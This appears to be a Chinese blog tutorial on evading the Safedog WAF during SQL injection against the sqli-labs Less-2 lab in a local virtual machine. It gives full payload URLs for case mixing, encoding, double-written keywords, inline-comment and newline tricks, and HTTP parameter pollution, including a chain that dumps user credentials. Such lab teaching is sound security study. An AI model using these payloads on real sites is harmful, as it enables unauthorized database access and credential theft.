WAF从规则库中匹配敏感字符进行拦截
简单理解就是:WAF会对数据包的内容进行过滤或者正则表达式的匹配,对非法的字符等进行处理。
在虚拟机中布置好sqli-labs(搭建在phpstudy中),下载并且安装好下面的安装狗:
建议不要在真机中安装安全狗,毕竟安全狗相比于其他的安全产品已经出现很久了,体验感还是很不好的。
打开sqli-labs靶场,以less2这一关为例:
按照没有WAF的情况下注入:
(1)正常输入下:
http://172.16.135.186/sqli/Less-2/?id=1
(2)判断是否存在注入点:and 1=1:
http://172.16.135.186/sqli/Less-2/?id=1 and 1=1 --+
如果看到这样的界面,就说明师傅的环境已经准备好了——安全狗可以有效的拦截,后面的靶场可以进行WAF绕过 的练习了。
对于安装安全狗有困惑的师傅可以看我写的这篇文章:
win10虚拟机下载安装安全狗(Apache版本)
注意,修改了安全狗中的配置之后,一定要重新启动小皮面板中的apache服务才能生效。
比如刚才 的第二关,是GET类型的注入,但是可不可以通过POST或者其他方式进行绕过呢?
在GET方式下:
http://172.16.135.186/sqli/Less-2/?id=1 and 1=1 --+
被拦截了。
这是因为源码中,要求了GET方式提交数据:
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
如果源码中允许更多的提交方式,但是只对GET进行and拦截,那么改变提交方式就可以。当然现在实战中这种情况肯定不多见。因为免费的安全狗都能做到这种防护,更别说收费的安全产品了。
这就是一种绕过方法,当然如果服务器后台写死了是$_GET方式提交数据,这种方法就是行不通的。
关键字大小写绕过:
有的WAF因为规则设计的问题,只匹配纯大些或者纯小写的字符,对字符大小写的混血直接无视,这时,可以利用这一点来进行绕过
比如:
union select -----> unIOn SeLEcT
然后尝试利用GET提交方式进行 And 的绕过:
http://172.16.135.186/sqli/Less-2/?id=1 AnD 1=1 --+
发现无法绕过。
其实说真的,大小写绕过已经非常过时了,出现时间也很早。一般情况下,大小写绕过成功的应该很罕见吧。。。
但是也可以试试。
再比如:
如果已经知道有3个字段的情况下进行联合查询:
http://172.16.135.186/sqli/Less-2/?id=-1 union select 1,2,3 --+
发现又被拦截了,于是先判断是对什么进行了拦截:
http://172.16.135.186/sqli/Less-2/?id=-1 union
发现安全狗对union没有拦截。
http://172.16.135.186/sqli/Less-2/?id=-1 select
发现安全狗对select 也没有进行拦截,那么估计是对union select这个整体进行了拦截。
尝试大小写绕过:
http://172.16.135.186/sqli/Less-2/?id=-1 UniON SelEcT 1,2,3 --+
还是被拦截了,所以对于union select的绕过,这种变化大小写(大小写混用)的方法未必可行。
大小写绕过已经过时了。。。。但是会被经常提到。。。
编码绕过:针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等
比如:
union select 1,2,3--+ = union%0aselect 1\u002c2,3%23
这种方法各种编码都可以试试,但未必可以。
比如:
(1)URL编码:
http://172.16.135.186/sqli/Less-2/?id=1 %61%6e%64%20%31%3d%31%20%2d%2d%2b
(2)unicode编码:
这种绕过也未必对。
但是看到确实是绕过了。
但是数据没有查询到,所以未必对吧
(3)几种编码综合绕过:
http://172.16.135.186/sqli/Less-2/?id=1 union%0aselect 1\u002c2,3%23
也不行,这种方法可能在这种安全狗下做的防护比较严格吧
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
http://172.16.135.186/sqli/Less-2/?id=1 uniunionon seselectlect 1,2,3 --+
(这种方法可以结合大小写混写来进行绕过)
但是现在安全狗对这个“双写”的绕过也做了很好的过滤
http://172.16.135.186/sqli/Less-2/?id=1 UniuniONon sesELectlECt 1,2,3 --+
换行和内联注释符绕过经常一起使用。
先来看内联注释符绕过:
基于sqli-labs的less2,为了使绕过union select变得更加简单,现在将源码中的请求方式改为REQUEST:
首先把GET的union select绕过了
用内联注释符绕过对database()这个函数的拦截:
有时有其实对于database没有进行拦截,但是就是会对于database()进行拦截。所以用内联注释符/**/进行绕过.
将id=1 改成-1可以试试看看能不能查询数据库名。在这款安全狗4.0版本中,是可以的,但是我是5.0版本,已经不行了,也就是说可能5.0版本已经对这种进行拦截了:
有时候我们会用这样的形式进行绕过:
/*!union*/
这里面/**/是内联注释符,会被当作注释使用,所以这样写安全狗可能就不会对注释里面的内容进行拦截,直接放行,利用这个特点就可以进行绕过。而“!”是为了在绕过安全狗之后,我们还可以让数据库服务器执行内联注释符里面的内容。
这就是内联注释符的魅力。
下面的语句会被拦截:
http://172.16.135.186/sqli/Less-2/?id=-1 union select 1,database/**/,3 --+
现在尝试绕过:
http://172.16.135.186/sqli/Less-2/?id=-1 union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
现在尝试查数据库名,思考一下这一次还有必要在database和()之间加/**/吗?
其实加也可以,不加也可以,加上其实没有必要。
http://172.16.135.186/sqli/Less-2/?id=-1 union/*//--/*/ /*!--+/*%0aselect/*!1,database(),3*/ --+
成功查到库名,绕过成功啦!!!!
后面的爆表,字段和数据这里也给出语句:
爆表名:
http://172.16.135.186/sqli/Less-2/?id=-1 union/*//--/*/ /*!--+/*%0aselect/*!1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database()*/ --+
爆字段
这里连and都不用绕过,是不是很爽!
http://172.16.135.186/sqli/Less-2/?id=-1 union/*//--/*/ /*!--+/*%0aselect/*!1,group_concat(column_name) ,3 from information_schema.columns where table_schema=database() and table_name='users'*/ --+
爆数据:
http://172.16.135.186/sqli/Less-2/?id=-1 union/*//--/*/ /*!--+/*%0aselect/*!1,group_concat(id,0x2a,username,0x2a,password) ,3 from users*/ --+
如果手动注入脸熟的师傅,这个过程在做的时候不要太开心!!!太流畅了,根本不会碰到拦截!!
这就是
union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
这个绕过的魅力
但是为什么呢?
来看
union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
能够绕过的原因:
首先
union/*//--/*/ /*!--+/*%0aselect/*!1,2,3*/ --+
/**/是注释,可以直接去掉吧,那么就变成:
union /*!--+/*%0aselect/*!1,2,3*/ --+
然后看到
/*!*/
安全狗就会把他当作注释直接放行,而在数据库服务器中会执行“!”之后的内容:
--+/*%0aselect/*!1,2,3
这时候又碰到–+又是注释
但是要注意%0a相当于换行,那么这整个就变成:
union --+ %0a
select /*!1,2,3*/ --+
那就是换行的查询啦!
就可以成功绕过了。
再来说说order by 的绕过:
可以看到在一开始猜测字段数的时候:
http://172.16.135.186/sqli/Less-2/?id=-1 order by 1,2,3 --+
http://172.16.135.186/sqli/Less-2/?id=1 order%20/*//--/*/ by 1,2,3 --+
也就是在order 和by之间加入:
%20/*//--/*/
比如and —> &或者&&
or-----> | 或者||
比如:
发现and被拦截:
http://172.16.135.186/sqli/Less-2/?id=1 and 1=1--+
尝试用&进行绕过:
http://172.16.135.186/sqli/Less-2/?id=1 & 1=1--+
显然这里安全狗拦截的很好。同义词绕过只是一个思路,不可行很正常。
首先先来看一种情况:
我将test.php内容准备如下:
$a=$_GET['a'];
echo $a;
?>
现在访问:
但是玩意传的参数很多呢?
显示的(或者说接受的)参数好像就是最后一个参数,但其实只有php语言这样:
这就是一些服务器端的脚本语言的一些HTTP同名参数传的多的情况下的获取到的参数情况。
从表中可以看出PHP语言就是接受最后一个参数,而对于JSP就是接受第一个参数。
利用这中HTTP参数的污染,也是WAF绕过的一种思路。
比如:
http://172.16.135.186/sqli/Less-2/?id=-1/**&id=-1%20union%20select%201,2,3%23*/
是不是绕过的也不错?哈哈哈哈
后面的操作(如果是手动注入的话就不用说了吧)
http://172.16.135.186/sqli/Less-2/?id=-1/**&id=-1%20union%20select%201,database(),3%23*/
以上是部分WAF绕过的思路。当然还有很多,往后几篇博文会介绍。如果您觉得讲的不错的话,就点个赞或者收藏一下?